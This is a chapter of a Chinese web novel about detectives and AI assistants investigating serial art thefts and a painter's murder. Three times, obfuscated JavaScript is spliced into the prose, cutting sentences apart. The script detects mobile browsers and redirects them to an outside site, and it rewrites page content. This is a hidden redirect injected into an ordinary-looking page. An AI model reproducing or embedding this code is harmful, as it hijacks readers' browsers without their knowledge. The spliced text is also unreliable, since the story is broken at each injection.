大概是考虑到AI对几个小时前的轮番批评仍带有情绪,楼觅带着些许商量的口吻。好在9号辖区警局的每一位同僚(甭管是人是AI)都是如此的尽职,一张拍摄失窃展厅内中央展区的照片、抢在楼觅的发音结束前出现在了投影屏上。众人可以清楚在看到在展台下方地面,鉴证人员用喷雾圈出的粉色轮廓。紧接着,一张样本照片出现在了它的正下方,李晓燕定睛一看,这不就是她自个在现场提取到的疑似干涸油漆块吗? 瞬间,一股自豪感涌上心头。这是我收集到的物证!原来我的活没有白干!新人小女警很是高兴。 事实证明她的活的确没有白干。应该是预测到接下来讲述的重点内容,都不用楼觅多加操作,巴巴托斯就自觉放大了油漆漆块的画面。 “经过巴巴托斯事后的深度检测,在和南丁格尔的现有数据库中进行对比,我们基本可以断定在事发当晚的失窃展馆中,爆发了一场‘油漆事故’。事故范围就是上图画圈的区域,而目的,多半是为了掩盖被害者遇刺后喷洒出的血痕。” 楼觅想了想,还是放弃了去拿激光笔的冲动,改用自己的手指指向透明证物袋中包裹着的一小块油漆。“是的,在它背面检测出了细微的血液残留,血型和被害人保持一致,至于DNA对比,则需要技术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124349|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人员和鉴证团队再度前往现场,仔细查找有无类似痕迹。”毕竟当他们昨个下午赶到艺术馆展厅时,地板上连油漆印都被犯人清理了个干净。要不是有巴巴托斯的数据扫描…… “为此,我们可以基本得被害者就是在中央展区遇刺的结论。而他为何被刺——” 楼觅说罢,顿了顿,用视线扫视了整间会议室内每位同僚们的脸。“第一种可能,身为一名末流画家,他是在为了保护展品——也就是上周末亲子日上孩子们的画作,而与试图盗取它的犯人,也就是凶手进行搏斗,然后遇害;第二种可能,作为一个末流、被艺术界断定毫无天赋的喷子画家,他对所谓艺术品的自我理解延伸到了无可理喻的地步,以至于做出类似偷窃儿童画作的举动。而我们的凶手,可能是在阻止他犯案的过程中一时失了个手。” “第二种可能性明显更高点。但我不认可你说的一时失手。”艾登在旁发表自己对楼觅得出的两种推论的看法:“先是腹部连刺两刀,再是颈部遭遇电击。凶犯多半是冲着弄死普朗吉·路易去的。” 楼觅耸了耸肩:“同感。不过事实的原委具体如何,就要看我们接下来的调查结果了。” 听着两位刑侦大佬的推论,李晓燕呆坐在会议桌旁眨巴了几下眼。所以……是说我们可能已经侦破了艺术品连环失窃案吗?!……感觉有些随便的样子。 而在会议室正前方,楼觅则逐一下达了接下来的凶案侦破工作内容: “法证科室的同僚们,请继续前往现场针对案发第一现场,也就是失窃展馆,和尸体所在地——地下一层的低温库房进行进一步取证。” “刑侦支队的人员分成两组,一组由艾登带队,前去调查被害者普朗吉·路易的生平、住址、近期动向和人员来往信息;另一组由我带领,前往包括现代艺术馆在内的共计十家失窃展馆进行调查走访。” 艾登对楼觅的安排没有异议,但对他的调查方向提出了自己的疑虑:“现代艺术馆?你是说那两位正副馆长可能在扯谎?” “不排除这种可能性。毕竟首要目的是搞清死者是怎么进入低温库房,又如何知道保险柜密码的。一定有个跟现代艺术馆有深度关联的人告诉了他。又或者死者本身就与现代艺术馆有着一定的联系。” 说罢,像是临时想起了些什么,楼觅朝着艾登再一次开口吩咐:“记得走访时带上沃洛金。” 沃洛金?是谁来着?耳朵一向很尖的李晓燕满头的雾水。她并没有在警局中听说过这么一号人,但显然艾登副队长对楼觅提到的这人很是熟悉,熟悉到眼前一亮的程度。 “他终于舍得回来了?” “说是上午九点就到。你们可以直接约在被害人住址见。” “太好了!”艾登看上去十分的高兴。“终于有人能在对待AI的问题上能和我保持统一战线——” “沃洛金不会和你保持统一战线。”楼觅带着警告的口吻给了艾登一眼,随后又扫视了会议室一圈,李晓燕能看到他的目光有意无意在林岚身上停留了一下。 “现在是凌晨三点四十分,天亮后我们正式开启下一步侦查工作。所有人注意抓紧时间养精蓄锐。甜品报销单记得留下,月底时和AI们的一道上报。” 楼支队长万岁!会议室内响起一片欢呼声。身为“领导万岁”派的一员,李晓燕理所当然地没能察觉到右后方位于天花板的某台监控设备上、瞬间闪过的一道肉眼不可见的白光。一朵冰霜悄然附着于监控摄像头的侧面,又无人在意地融化了。 8. 9号辖区警局 李晓燕感觉自己刚在办公桌上趴了不足两小时就被一阵蛮力摇醒了。 “啥玩意——天亮了?”困得迷迷糊糊的李晓燕,眼睛强撑着睁开一条缝。随即她发现并没有预想中的刺眼阳光,取而代之的是空气中弥漫着的一股肉包香。她奋力睁开眼,窗外的晨光透过百叶窗,在木质地板上洒落斑驳的光影。支队的同僚们正乱哄哄地聚集在前往不远处,夹缝中,股股香气飘散而来。 “……好香。” “所以在叫你起来吃早饭啦。” 无奈中夹带着些许欠扁的嗓音在李晓燕身旁响起。李晓燕挣扎着抬头,果然瞅见了马克,这家伙正叼着包子吃得欢畅。看这架势,多半是哪位领导喊的早点铺子,服务简直一流,还能上门先做的。新蒸好的包子馅肉香扑鼻,勾得李晓燕的肚子咕咕直叫。 “也不知道给我带一份,你这个没搭档情的!” “嗨,喊你起来吃饭还有错了!” 抱怨归抱怨,李晓燕倒也没和马克过多计较。她身手敏捷地挤进人群,只见一名集年轻、英俊于一身的拉丁籍面点师傅正哼着拿波里小调,手持擀面杖在案板上快乐地忙碌着,就连身旁蒸笼腾起的云雾夜掩盖不住他眼角的笑意。 怪不得局里的姑娘们大半都挤在这儿呢,双重意义上的大饱口福啊。 “给我来俩个,要猪肉香辣粉的!” 话音刚落李晓燕便感到从背后传来了一股推力,扭头,见是马克从身后挤了过来:“想想也不可能有的吧。临时拉过来的摊子,怎么可能什么馅料都备着。哥你别理她,整俩猪肉包就好。” 面点小师傅脸上的笑意隐藏在口罩后。 “别老欺负人。”他用食指剐了马克的鼻尖,让后者鼻梁上不可避免地粘上了些许面粉渍。 马克很不服气:“哪欺负了?我这叫实话实说!” 不过此时李晓燕的关注点已经不在馅料上了。她不可思议地来回看向马克和做面点的帅哥:“这……这你哥?” “怎么?不像?” “……绝壁不是亲生的。” “嗨!怎么不是了?我亲哥!”听到来自搭档的质疑,马克不由得挺起了胸膛,试图把自个的身高和自家老哥拉到同一水平线上。“瞧我俩这长相,这身材,绝对的亲兄弟!” 快别逗了,从气质上看就完全不相干呢!周围的围观人群爆发出一阵善意的哄笑,气得马克直跳脚。 “哎,你哥这是什么情况?”李晓燕拿胳膊肘撞撞坐在一旁生闷气的搭档。 “……还能什么情况。见我一晚没回家,爸妈怕我饿着就让他一早赶过来了呗。”马克撇撇嘴,提起家人对自个的关切时有些别扭,但说话间脸上的得以劲怎么都藏不住。 李晓燕一时有些羡慕。 一个小时后,挥手告别了同僚的亲哥,忙碌的9号辖区警局又陷入了办案时刻。 “A组跟我跑失窃艺术馆,B组跟艾登调查被害者。给你们一分钟的准备时间。”刑侦支队的办公区内,楼觅高声下达指令。眼瞅着一个个同僚理所应当般各自分左右两列站好,傻乎乎愣在原地的李晓燕显得格外不知所措。 “准、准备什么?怎么就一个个的分好组了?也没人通知我呀!”眼瞅着还没确定好分组的人就剩自己和马克,李晓燕急得直拽搭档的袖子。 被拖在原地动弹不得的马克深深、深深地长叹出声:“……你啊,培训课程真是一点都不往脑子里记是吧。对我们这种见习警员来说,跟哪组队伍出警都是按顺序的。接手的第一个案子如果跟的是楼队,那么下一个案子就自动归到副队长手下。” 说罢,他又瞅了李晓燕一眼:“不过对你来说选哪组都行。话说这是你从警以来正式接手的第一个案子吧?” 李晓燕先是光顾着点头,随后猛然惊觉:“——意思是说,我可以自己选?” “仅限这一次。”马克故意拖长了声调,“不过由于人数关系,不论你这回选择去哪组队伍,我都得往另一边的队伍里去。感谢我吧,能把这么珍贵的择队权力让给你。” 可你先前不还说这是属于我的初案选择权吗?李晓燕在内心腹诽着,但考虑到剩下的准备时间所剩无几,她必须立马在A、B两组队伍中选择其一。 “我跟楼队他们一组。” 【#检测到剧情分歧点 if用户选择选项A:触发[一类]后续剧情走向】 肉眼不可见的空气分子中,一条由无数蓝色光粒组成的网格状曲线一闪而过。 虽然对死者普朗吉·路易的走访工作、和正副支队口中的神秘人沃洛金也充满了兴趣,但李晓燕还是第一时间做出了跟随楼觅的选择。大概是出于所谓的雏鸟效应?她自己一时半会也说不清楚。 马克无所谓地耸耸肩,自觉走到左侧的小组内站好。 “出发。” 随着楼觅一声令下,两组人马从警局内蜂拥而出,奔赴各自的战场。 A组走访调查的首站,是距离警局不远处的马莱登私人艺术馆。顺带一提本次调查行程的路线全由苍穹1号、也就是苍穹主机负责,据悉B组那头也是一样,也不知道艾登副队长得知这一情况后又得翻多少白眼。而除现代艺术馆外,针对其余九家失窃艺术馆的调查略显简单——只需询问展品失窃当晚的具体情况,和是否认识死者就行。 “我说你们警方可真有意思。昨个我在警局叭叭一通,话都没人听,只知道把人往外赶。怎么今儿就转性亲自上门问啦?” 珠光宝气的私人馆长一脸的趾高气昂,说话那叫个阴阳怪气,跟昨个在警局里跳脚骂人的“淑女”仿佛判若两人。 李晓燕听闻,要不是家教一向良好简直就想骂娘。不过这也就够气到像她这种刚上任的愣头青,楼觅是一点都不把这种蹬鼻子上脸的玩意放在眼里。面对迎面而来的冷嘲热讽,他甚至还能稳稳地露出职业化的微笑来。 “尊敬的金女士,关于您的展馆于五日前被盗失窃一事,警局早已记入在案,这次前来只是为了进一步核对信息。我想昨日我们负责接待的同僚也应该给您讲解清楚了,只可惜由于您当时正处于歇斯底里的亢奋状态,所以大概率没把话往心里去。” 他无视掉金馆长在他提及“歇斯底里”的不“淑女”形象后憋得通红的脸,继续说道:“而我们之所以选择在今天前来,是因为在昨日您试图用泼辣的演技征服全警局时,我们意外发现了疑似盗取艺术展品的可疑人员。” “当然,”说到此处,楼觅再度展开微笑,“要是您认为我们警方此刻的造访纯属浪费时间,那么我们也只得就此打道回府,而您被盗的可怜艺术品多半也只能毫无价值地蒙尘人世间了。毕竟——”楼觅的眼中闪过一道精光,“我想您投保的公司多半分辨得出被盗的究竟是上个世纪的艺术珍品,还是出自被辞退艺校生的仿作吧。” 金馆长的脸瞬间转变为了猪肝色。 虽然李晓燕十分好奇楼觅是怎么知道失窃展品是当代仿作的,但看楼觅的样子,多半是不会透露自个的底牌。从事实来看,也确实用不到。金馆长硬气了不到两分钟就在楼觅的眼神下败下阵来。 “……我说,只要你们警方发誓不向保险公司揭发我。”女人在原地蹬着腿,看着不那么甘心地开口再次试图讨价还价,“不过你们得先告诉我那名疑似可疑人员是哪位!” 正当李晓燕笃定自家支队长不会透露哪怕一个字,转眼便见楼觅毫无负担地迅速“出卖”了死者。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124350|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“普朗吉·路易。本辖区末流绘画家,代表作《飞跃》。” “他?哈!”金馆长瞬间爆发出一阵大笑。“那个对艺术一无所知还敢大放厥词的喷货?没想到手艺稀烂,胆还挺大!” 楼觅貌似不经意地询问:“看样子你对他还算了解?” “了解是算不上,但他前些日子被哪几家展馆拒绝我还是知道的。当然还有他被扫地出门的事。”金馆长脸上扬起艳丽的笑容,“所以他现在人呢?在警局拘留室?那我得建议你们多拘留个几天,然后直接按死在牢里。免得人出来污染空气。” “哦,那他应该是办不到了。”楼觅抬头望了望天空,随即又转头看向身后的李晓燕,带着询问般的语气开口:“我记得昨个我们找到他的时候,人是已经没了吧?” 李晓燕沉默了不到两秒,决定满足领导“一时兴起”的表演欲:“……是的楼队。尸体都冻僵了。” 金馆长的笑容瞬间僵在了脸上。 “……死、了?”她像台坏掉的留声机,一字一顿地开口发问。 楼觅点点头:“腹部连中两刀,死得相当彻底。”他有意隐去了被害人真正的死因。 大概是脑补了什么画面,警员们可以清楚看到金馆长在下一秒浑身打了个激灵。但她很快又振作起精神来,装出一副若无其事的样子:“死就死了呗。多大点事,横竖跟我关系不大。” “话可不能这么说。”一旁的楼觅转了转眼珠,“从现场看,死者死于仇杀的可能性不小,画面还挺凶残的,我们的小警员看了都直犯恶心,这也足以证明凶手跟死者间有着充足的仇恨。” 李晓燕在其身后用力点了点头。楼队这回说的一点都不假,那现场看得她都吐三回了。 “……那也跟我没关——” “可我怎么记得,您刚才还亲口说过,您对他还十分得了解呢。了解到他近期被哪家展馆拒绝,还被某人‘扫地出门’。”楼觅用目光上下打量着身子不由得发起抖来的金馆长,“你俩应该也有仇吧?也对,毕竟对方是圈子里挺有名的喷子,还按您所说,‘对艺术一无所知还敢大放厥词’。” “所以您看,您不仅是凶案的有关人士,而且还是嫌疑人之一呀。” “所以根据金馆长的口供,她跟普朗吉·路易结仇除去因为对艺术的理解外,还因为对方欠债未还?” 在前往下一个艺术馆的路上,李晓燕做出如上总结。 “据她所说,普朗吉·路易的艺术生涯压根就是走进了死胡同,除此之外人还好赌,逢赌必输,把自己折腾了个穷困潦倒还四处欠债,借光了自己在圈里的仅有人脉。”楼觅仰倒在副驾驶座上闭目养神。“至于被‘扫地出门’一事,我刚发消息给艾登了,让他们调查下死者的妻子,哦现在看来应该是前妻了。” “不过楼队,从马莱登艺术馆的失窃案来看,好像并没有发现被害人和失窃展品间的联系。”一名同僚斟酌着开口,“他基本上遇展品就喷,连续被包括失窃的十家展馆在内共计20来号展馆列为拒绝往来户。这也不好查啊。” 这倒是,受害范围太广,完全没法根据仅有的十家展馆失窃就把罪名按在普朗吉·路易的身上。 “那就希望我们接来下拜访的几家艺术馆负责人能多说些话了。”楼觅敲敲车座的扶手,又扭头对负责驾驶的警员吩咐了一声:“绕道从三号大街直行。昨晚下发的附近道路维修通知,苍穹的导航系统还没来得及跟新。” “好的,明白。” 李晓燕抬头看向悬挂着的投影屏,果不其然浮现出了代表着受伤的颜文字【(>﹏<)】。 面对AI散发的委屈情绪,楼觅果断选择了继续闭眼,并极具先见之明地关闭了车载扬声器。 9. 9号辖区警局 可能是为了弥补因人为因素——纯粹是忙晕了头,而导致数据库延迟更新,从而使得导航线路未能达到最优选。在接下来的时间里,苍穹鼓足了劲地调动起自个全部的数据库,连带着警车内的车载空调都随着AI运算功率的提升发出了嗡鸣。甚至不惜隔空紧急联络上了泡在水箱中的巴巴托斯,用三份电子甜品的“代价”换来了临时使用对方数据库的权限。 李晓燕在后排座椅上围观了整场“交易”的全部过程,并叹为观止。 而苍穹用力过猛的结果,就是傻乎乎的临时司机相信了AI对线路的判断,险些驾驶着45码每小时的磁悬浮警车从底层商铺横穿而过。要不是楼觅“醒”得及时并一脚踩下了急刹车,9号辖区警局就得上本日新闻头条。 “所以,楼队您的事后补偿措施,就是这个吗?” 李晓燕举着手中的珍珠奶茶杯,天真地看向以靠谱著称的支队长。车顶正上方的“苍穹专座”上,圆滚滚的AI带着【(^ω^)】的满足表情享用着楼觅的“上供”。同时为了显得不那么厚此薄彼,每一名在场警员都获得了一杯珍珠奶茶的额外犒劳。当然花的是楼觅的钱,毕竟没人想知道局长在看到“为哄AI开心而斥巨资用甜品收买全队”中“巨资”数额的后果。 楼觅闷声抿了一口奶茶,拒绝回答这个蠢到家的疑问。 恰逢此时从裤袋中传来手机的震动声,楼觅掏出手机,撇了眼上面显示的内容。 “艾登他们找到普朗吉·路易的居住地了,也顺带找到了把他扫地出门的前妻。”楼觅含糊地说着,囫囵吞下来不及咀嚼的珍珠,“不过他的那位富豪前妻并不怎么配合询问,所以他们只得选择把这项艰巨的任务转交给荷鲁斯了。” 哦,真惨。在场每一位亲身经历过荷鲁斯低温心灵震撼的警员们,无不露出牙疼的表情。但愿这位女士在经受过如此“酷刑”后不会叫嚣着上法院告他们吧。 “话说,明明被害人身前一贫如洗还借债无数,他前妻却是个富豪?”李晓燕表现出十万分的差异,“好怪呀。” “多半是夫妻间各过各的吧。”一名同僚撇了撇嘴,大概是之前在区政厅做过一段时间调解员的关系,他见识多了各种诸如表面夫妻、形式婚姻、双双出轨、相杀相爱的奇葩夫妇。看普朗吉·路易年轻时的照片,也算得上是一表人才,有钱人的女儿或者有钱人自己一时被他吸引的可能性极高,当然这种“一见钟情”往往在婚后不到一周就破碎了个干净。路易夫妇多半也是如此。正所谓太阳底下没什么新鲜事。 楼觅也这么认为,而且他还能以多年的办案经验断定死者被前妻扫地出门的原因:多半是忍受不了对方常年以来的好赌习性。至于死者的艺术细胞?省省吧,要是那位女士看中的是这玩意,打一开始就不会和他搅合到一起。 而艾登他们之所以选择用审讯的方式对待这名女士,大概率是她掌握了不少死者的有关情报又拒绝说出口,那么没办法,只能上AI从她口中挖出点东西了。 再回到A组这边,在又走访了七家失窃艺术馆后,楼觅等人基本理出了一个艺术品失窃模版——才怪。所有被窃的展品不分价值,时代不均,品种各异;上到作为“镇馆之宝”进行过重点宣传的根雕杰作,下至3岁稚童的指尖涂鸦,中间夹杂一到两件仿品劣样;而失窃展馆的持有者和负责人报警目的也不统一:昨个来警局闹的多半都上过商业保险,抓不抓住窃贼对他们来说并不重要,重要的是得把事情闹大,好从保险公司身上敲到一笔;没来闹的也分两种,一是被盗展品艺术价值不高甚至没有,被人偷了也不心疼,报警纯属于“凑个热闹”,另一种数量则更为稀少(顶多两家),被盗展品艺术价值可能没有,但收藏意义非凡,就比如现代艺术馆失窃的亲子活动绘画作品,以老馆长为首的这类负责人才是真正期待警方能逮捕犯案者的。 不过走访行动也不算完全没有收获,至少他们从侧面套出了不少被害人普朗吉·路易和这些失窃艺术馆之间的联系:即除了金钱方面的借贷关系外,被害者都曾经对这些被盗展品公开表露不屑,并对其对外宣称的艺术价值嗤之以鼻,号称比不上他所创造的绘画艺术哪怕一分一毫。当然,几乎没什么人把他的这番疯话放到心上。只是各位馆长先生或女士纷纷拒绝了死者的拜访——简单来说就是让保安把这人给轰了出去。 这样看来,假设艺术品连环失窃案的犯人确定是普朗吉·路易,那么他的作案动机倒是挺明确的,即:看不上被盗展品,以及为了报复轰他出门的各位馆长。 “但咱们询问了半天,至今也没能搞明白犯人的偷盗手法啊。”在前往第九家失窃艺术馆的路上,警车的后排座上传来李晓燕满是怨念的嘟囔,“现代艺术馆还算是收获最佳的,至少我们根据失窃展厅地面上的冰晶残留,大致上判断出犯人极有可能藏身于地下一层的低温库房,然后找准时机溜进展厅实施盗窃。虽然低温库房里也没能找到失窃的展品,但好歹也算是一条线索。别家展馆呢?基本什么痕迹都没留下,除了有两家展馆的地毯被莫名扯开了缝。” 不搞清偷盗手法,就无法确认失窃展品的所在,也就无法回收展品进行结案。李晓燕一向不怎么喜欢做无用功,这种“努力了,但始终得不到想要结果”的无力感让她有点提不上劲。 作为身经百战的老练刑警,楼觅显然不这么认为。 “怎么能说在其他艺术馆毫无收获呢?它们的失窃现场跟现代艺术馆想比的不同之处,就是我们此行的最大收获了。” 楼觅一手捧住办公用平板,一手无心敲击着腿侧的皮质椅面。 “首先,现代艺术馆是十家失窃展馆中唯一的公立展馆,由联邦政府统一管理并发放维护金和员工薪水,所以馆内员工包括正副馆长在内,都不太可能、也没有能力和被害人产生同其他馆长一样数据巨大的借贷纠纷。” “其次,就是关于被害人二度置身的低温库房了。”楼觅将平板上的记录翻过去一页,露出低温库房的照片,“其余几家艺术馆也都设有低温库房,但根据现场调查取证,我们并没有找到和现代艺术馆失窃展厅内一致的冰晶痕迹,也就是说,假设作案的的确是普朗吉·路易,他在连续9家展馆盗窃时都没选择在低温库房内藏身,而偏偏到了现代艺术馆,他选择躲藏了,这不合理。” 至于不合理的缘由也异常简单:纵比其他展馆,现代艺术馆的安保力度最为薄弱。值班保安是个耳聋眼花的72岁老者,配备的安保装备中甚至没有□□,充其量就仅有一只手电筒。 “但是这样一来,也有件事说不通啊。”听完楼觅的分析,跟李晓燕挤在一排座椅上的警员之一忍不住插话道:“其他展馆的安保力度更大,犯人是怎么做到神不知鬼不觉、成功盗取展品的?” “其他展馆的安保也算不上有多严吧。”另一名警员反驳了同僚的话。想想也是,失窃展品也不各个都是什么镇馆之宝,需要十来号保安镇守,有些甚至位于展厅里侧极不起眼的角落。但—— “先不提各家展馆的监控设备里都没有拍到可疑画面,连展品失窃的过程都没有。”就在肉眼可见的下一秒,上一秒还好端端待在自个展位上的艺术品就消失不见了。 “监控画面被篡改了吧?”“犯人还会黑客技术?”“也没准是在馆里有内应呢。”“内应?你看他像是兜里有钱收买人的样子吗?再说这些展品目前也没流入黑市市场吧?这就压根没想着倒手后分钱。” A组的警员们挤在警车后排,有一个算一个纷纷胡乱表达着自己对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124351|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案件的看法,李晓燕也忍不住加入了进去。当然真正靠谱的没有多少,大多都是天马行空的脑补和想象。倒是楼觅支队长在他们开启讨论模式后便没了声响,仿佛陷入了某种诡异的沉思中。 首先,从目前已知的线索看,几乎每件失窃艺术品都是在凌晨2-3点间丢失的,证据就是监控画面中诡异的“一秒消失术”。 其次,失窃的展品无论是画作亦或根雕艺术,大多都是不宜搬动的大件物品,无论犯人有无同伙,要想盗走展品就必须使用运输工具。但根据对周边环境的调查和路口监控看,别说叉车了,连货车的痕迹都没有一个。 最后,是关于犯人在失窃艺术馆内的藏身点。洗手间、清洁用品存放室、甚至楼梯下方避光处,几乎每一个可能藏身的地方都被A组寻了个遍,甚至派上了苍穹,结果却是一无所获。虽然有警员看到苍穹的球形机体在各个失窃展品的展位上方停留了几秒钟,但最终还是带着【-__-】的表情回归了队伍。 低温库房看似是一个好选择,但这样的库房往往都设有电子门,再不济也跟现代艺术馆一样,是带钥匙的铁门,没有指纹、密码或者钥匙,通常情况下正常人是进不去库房内的。而失窃的几家艺术馆中,唯独现代艺术馆发现了低温冰晶的痕迹。这样一来,死者能够二度进出现代艺术馆的低温库房就显得更加奇怪了。从库房铁门上没有发现撬锁痕迹上来看,死者一定是从哪里获得了库房的大门钥匙。而印象中库房的钥匙只有三把,一把由值班大爷贴身携带,另外两把分别由正副馆长持有。无论怎么看,现代艺术馆正副馆长做为案件从犯的嫌疑都很大。 然而上述谈到的这些,统统不是造成楼觅“沉默不语”的主要原因。监控画面中的“监控”一词才是关键。 就在李晓燕还在跟同僚们天南海北地扯盗窃手法时,她的眼角余光瞥见位于前排副驾驶座上的楼觅猛然一个挺身,直接一脑袋撞上了车顶篷。而后便见他顾不得疼痛,转头侧身扒拉着椅背冲他们几个高喊: “为什么昨天在勘察现场的时候,没有人记得调取现代艺术馆内的监控?!” 监控?什么监——李晓燕等人在一瞬间愣在了原地。 【……#检测到关键词“监控” if用户产生“质疑”反应 需及时修正剧本内容#剧本修正开始】 一时间,无色的字符串遮盖住了视野。一张张模糊的空白画面上被外界填入了斑斓的色彩,随后深深沉入了暂停一切思维行动的脑海里。 【……修正完毕#启动删除多余记忆】 斑驳的电子雪花覆盖了目光所见之处。话说现在有在进行“看”这个动作吗?苍白的碎屑自上方脱离,一片、两片…… 【删除成功】 警车的双重后排座椅上,李晓燕正跟着同僚们天南海北地扯盗窃手法,眼角余光随意间的一瞥,只见位于前排副驾驶座上的楼觅猛地一记挺身,直接一脑袋撞上了车顶篷。 咚!位于楼觅正上方的顶棚布出现了一个小小的凹槽。 “没事吧,楼队?” 大伙七嘴八舌地询问道,并试图将脑袋挤进前排去。 楼觅右手捂住自己撞痛了的脑壳,又用空余的那只手制止住了后方下属们的骚动。老实说他也不清楚为何自己会突然在座位上向上一窜,反复像是抽了风一般。可能是接连三晚未睡的后遗症吧,他如此自我进行开导。 不过他这一撞倒也不是除疼痛外毫无收获,反倒是大脑中的某个思维关卡被撞开了窍。 “我好像,大体知道哪些被盗艺术品的所在地了。” “哎?” 闻言,李晓燕和其他几名警员均是一愣。他们刚才的讨论有深入到这个地步吗? 10. 9号辖区警局 对于下属们显而易见然的疑虑,楼觅并没有第一时间进行解答,而是抬头吩咐趴在车顶的苍穹、对9号辖区内的所有建筑设计类公司和清洁公司来了个近半年来的工作记录大收集,还顺带讨要了这些公司近三个月来的离职员工名单。 车内投影屏上由颜文字构成的“明白!”表情一闪而过,通过交易手段获得巴巴托斯数据库一日访问权限的苍穹,手脚麻利地沿着数据线开始了数据追踪工作,一张又一张的工作报表(部分甚至标记着“加密”字样)和员工名单批量依次呈现在投屏上。 通过链接车载投影的平板,楼觅顾不上脑壳传来的阵痛感、只顾埋头阅览苍穹调取到的各类资料。终于,他的指尖划过一家专门从事艺术馆重建、改造和设计施工的公司,随后又在一家名为“曼杰清洁公司”的名称后面点了点。 找到了!楼觅满意地露齿一笑,随即便被脑壳上牵扯到痛感刺激地一阵咬牙。看样子是撞得重了点,可能需要上点药。 恰巧在这时,本日走访的第九家艺术馆到了。楼觅挥手招呼一头雾水的A组全员下车,并在见到该馆馆长的第一面就先发制人地开口:“请直接带我们去被盗艺术品所在的展厅,有大概率你能找回失窃的展品。” 胖乎乎的馆长先生先是一愣,随即大喜。他以身材不相符的敏捷程度快步在队伍正前面,带领刑侦小组从艺术馆前门直达三楼的古典艺术展厅。展厅内挂满了位于古典时期的各类风格流派绘画艺术作品,其中靠近内侧的墙上空无一物,显然这就是失窃画作原本的展位。 楼觅独自上前跨过警戒线,他站立在展位前方,用食指敲了敲披挂着深红色天鹅绒布料的墙面。 “馆长先生,请问您是在差不多三月头上聘请过某家工程公司,对整个展厅进行过改造吧?” “是这样没错。”馆长喘着粗气拿方巾拭去脸上的汗珠,显然方才的一路狂奔耗费了他不少体力。 “能说说具体改造了哪些地方吗?”楼觅的目光在天鹅绒绒布上停留了好些时候,这一举动让身后站得离他最近的李晓燕看了个一清二楚。 楼队这是……发现了什么线索?回想起先前楼觅在车内的莫名举动,李晓燕满腹疑虑地在心里嘀咕。话说楼队原本是打算回头说什么来着? 等等,回头?楼队为什么要回头?明明是他抬头对苍穹吩咐了几句不是吗?她为什么会觉得看到了楼队一脸震惊地从副驾驶座上转过头、朝坐在后排的他们发问的场景? 李晓燕的眉头一皱,随即又放宽了心。大概是一宿似睡未睡的经历导致的头脑不太清醒吧,横竖又不是什么大事,那犯得着自己在这大惊小怪。眼下还是案件重要,案件!趁没人注意到自己,李晓燕伸手拍拍脸颊,重新集中起注意力。 而楼觅那头,则意料之中地从胖馆长口中得到了“墙面修饰”这个关键词汇。 “那一同聘请的清洁公司呢?你是在完成展厅改造后喊的清洁公司吧?” 胖老板一脸“你是怎么知道”的震惊表情:“是、是这样没错!不过算不上是聘请,那家清洁公司是搞工程的那伙人的下属合作方,说是一同雇佣的话就可以给到一个优惠价。于是我就……话说那家清洁公司好像是叫、叫——” “曼杰清洁公司。”楼觅一字一顿地陈述着。 胖馆长闻言点点头:“啊对,就是这家。” 得到了想要的答案,楼觅也没再做提问,只是隔空拍了拍手:“苍穹。” 一个球形机体旋转着飞进展厅,并在楼觅的指挥下开启蓝光扫描、绕着墙体周围的空地做匀速运转。 【已标记四处可疑点。其中地毯部位发现同先前调查展馆同样的撕扯痕迹,墙面布料发现疑似拼接口。】 哎?拼接? 还没等李晓燕反应过来,便见前方的楼觅朝她和几名同僚招手。见状,三名连忙一同上前。 “扶住这部分,然后一起用力。”他指向天鹅绒绒布的中间偏左侧部分,示意下属们按住绒布后头的墙体朝里侧使劲。“注意力道,当心一会惯性把你们全都甩进去。” 三人虽一脸的不解,但上级领导的指令不得违背,他们还是依照楼觅的指示,连绒布带墙体统统按紧,随后在“一二——三!”的口号声中同楼觅一道齐齐用力。 一阵沉闷的低响后,警员们纷纷感到按住的墙体发生了小幅度偏移。 “再使点劲!” 随着楼觅的高声呼喊,后头剩下的两名警员见状也赶上前来,六人一道用力推动墙体。终于厚重的墙体转动了起来。 “使劲——好,松手,立马松手!” 楼觅依照手感和墙体转动的角度,在后者与平面呈45度角之前及时喊停收手。警员们有反应过来的,也有像李晓燕这样反应过来但处于惯性驱使来不及收手的,有一个算一个都被楼觅眼疾手快地薅住衣领拽回身后。然后一行人就眼睁睁地看着原本巨大的墙体此刻一分为三,占据中央的那部分此刻正自动完成180度回转,连同挂着的绒布一道重归墙后,而原本藏于后方的墙体背面则转回到了展厅内,在它上头挂着的除了能和身侧绒布恰巧拼接完整的天鹅绒,还有一副同属古典时期的绘画作品。 头顶上方的苍穹收起了用于呐喊鼓劲的小彩旗。 